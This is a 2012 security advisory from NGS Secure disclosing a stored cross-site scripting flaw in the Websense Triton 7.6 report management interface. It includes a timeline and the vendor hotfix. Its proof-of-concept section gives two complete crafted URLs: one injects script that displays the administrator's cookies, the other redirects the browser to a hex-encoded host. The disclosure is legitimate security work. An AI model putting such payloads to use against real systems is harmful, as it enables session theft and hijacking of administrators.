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NGS00141 Technical Advisory: Websense Triton 7.6 stored XSS in report management UI
From: "Research () NGSSecure" <research () ngssecure com>
Date: Mon, 30 Apr 2012 10:12:19 +0000

=======
Summary
=======
Name: Websense (Triton 7.6) stored XSS in report management UI 
Release Date: 30 April 2012
Reference: NGS00141
Discoverer: Ben Williams <ben.williams () ngssecure com>
Vendor: Websense
Vendor Reference: 
Systems Affected: 
Risk: High
Status: Published

========
TimeLine
========
Discovered:  2 November 2011
Released:  2 November 2011
Approved:  2 November 2011
Reported:  2 November 2011
Fixed:  2 December 2011
Published: 30 April 2012

===========
Description
===========
Websense (Triton 7.6) stored XSS in report management UI

Websense is one of the world's best known web-filter products.

Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript 
in the context of the administrators browser and the Websense administrative UI.

The exploit would require an attacker to:

 - Gain access to the reporting UI using the attack described in NGS-00138
 - Request a crafted URL which stores some Javascript in the favourites XML file
 - when an admin view the page the Javascript is executed

=================
Technical Details
=================
I. VULNERABILITY
-------------------------
Websense (Triton 7.6) stored XSS in report management UI

II. BACKGROUND
-------------------------
Websense is one of the world's best known web-filter products.

The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and 
DLP products

http://www.websense.com/

III. DESCRIPTION
-------------------------
Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript 
in the context of the administrators browser and the Websense administrative UI.

IV. PROOF OF CONCEPT
-------------------------
Affected URL:

https://192.168.233.30:9443/explorer_wse/favorites.exe
(though I believe there may be other affected URLs)

Examples:

Alert pop-up containing the cookies

https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10-
29^rnd=936737^&favName=---------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
%22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3b%0D%09alert%28document.cookie%29%3b%0D%09//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-
29&vrn=

Arbitrary redirect

https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10-
29^rnd=936737^&favName=---------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
%22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3bdocument.location%20%3d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%33%33%2e%31%31%2findex2.html
%22%3b//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-29&vrn=

In these cases when and administrator subsequently runs a report, the javascript is executed. There are other ways to 
execute Javascript when the page is initially loaded (but I thought this was a good example).

===============
Fix Information
===============
This issue is addressed in Hotfix 24, which can be downloaded at:
https://www.websense.com/content/mywebsense-hotfixes.aspx

NGS Secure Research
http://www.ngssecure.com


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